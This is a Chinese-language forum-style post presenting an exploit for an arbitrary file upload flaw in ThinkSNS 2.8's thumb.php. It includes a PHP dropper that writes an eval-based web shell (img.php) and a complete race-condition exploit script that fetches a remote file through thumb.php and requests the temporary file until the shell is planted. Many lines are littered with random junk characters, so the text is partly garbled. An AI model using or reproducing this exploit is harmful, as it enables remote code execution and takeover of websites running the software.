Thinksns2.8文件上传漏洞利用exp

admin

漏洞版本
$ D7 q1 I6 x& Q存在漏洞的版本为：最新的2.8稳定版。（其它版本没测试过）
漏洞文件
存在漏洞的文件为：thumb.php
1 R6 B# }/ Y3 S( F作者：韦鲲鹏
1 P  ~% h, }) m& e0 ?1、        准备如下PHP文件并上传到服务器（自己的）。
+ ~- Z) N' |3 f( x文件内容如下：
<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
2、        计算出临时的文件名：
这里我们可以看文件的99行（刚刚是不是没注意呀！）。
/ v  ?8 ^9 ]# f& s& s6 x
6 V2 d  Q& W/ q4 q# i0 J3、        上传临时文件。
* c* H$ I% C+ p, c) R/ U4、        访问临时文件。
但是这里有个问题，PHP脚本执行的速度是非常快的，如果手工来执行第三和第四步的话，那需要的反应速度该多快呀！所以必须写一个工具来代替人来提交数 据，而且，为了增加第三步的执行时间，为第四步争取时间，我们需要给第一步所准备的PHP填充内容，经过测试，文件大小为300KB时成功率最高。（太小 时间太短，太大可能传不上去。）
Exploit文件内容如下：（这个我就不详细解释了）
<?php
1 x8 W6 I8 g( g! J1 Serror_reporting(0);
set_time_limit(0);
ini_set(“default_socket_timeout”, 5);
function http_send($host, $port, $headers) {
$fp = fsockopen($host, $port);
5 @: s2 t& F" S* jif (!$fp) die(‘Connection -> fail’);
1 c5 o0 w5 K+ t9 Q; Ofputs($fp, $headers);
return $fp;
! n, V* N" }& E; ?' y  W3 }" J* [}
function http_recv($fp) {
$ret=”";
while (!feof($fp))
6 F1 [/ c; a& }1 c# S$ret.= fgets($fp, 1024);
fclose($fp);
return $ret;
& l5 F2 b1 u0 T6 u}
! T1 E$ a+ L+ g; W3 R5 E) H3 lprint “\n#  ThinkSns Arbitrary File Upload   #\n”;
print “# Discovered by 韦鲲鹏 #\n\n”;
if ($argc < 4) {
* G; l+ _! M& r% d8 Y  g6 r$ Vprint “Usage:   php <host> <path> <romote_url>\n”;
print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
: P# T9 z4 x3 h; L1 y% o8 k: Pdie();
}
$host = $argv[1];
$path = $argv[2];
+ V: N& K3 w, N$url = $argv[3];
$i=0;
//上传数据包
0 f7 U: m: V# E1 L7 d$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
  N% s; ^$ u1 u$ ^3 Y& d$headers_up .= “Host: “.$host.”\r\n”;
8 U7 \8 G! q, n% A$headers_up .= “Connection: close\r\n\r\n”;
3 I, G. q9 ]. Decho $headers_up;
//临时文件访问数据包
; J$ u( x* f$ P/ B$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
$headers .= “Host: “.$host.”\r\n”;
$headers .= “Connection: close\r\n\r\n”;
+ `$ g; |  y0 G. R* }echo $headers;
while(++$i<10) {
; M6 y# K8 k: ^: j" T0 Afclose(http_send($host, 80, $headers));
}
3 p9 @5 O# \- U+ Efclose(http_send($host, 80, $headers_up));
6 a2 ]  k1 I6 y" A- ^8 g' g" ~while(++$i<50) {
fclose(http_send($host, 80, $headers));
}
$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
$headers .= “Host: “.$host.”\r\n”;
, ~8 i7 t/ N3 K1 e) ?5 A$headers .= “Connection: close\r\n\r\n”;
$res=http_recv(http_send($host, 80, $headers));
if(preg_match(‘/200 OK/’,$res)) {
. n# o, i" t6 f: }7 b  q' U+ gprint “Success!\n\n”;
} else {
print “Fail!\n\n”;
}
, b. Q; w9 z9 b! J?>
​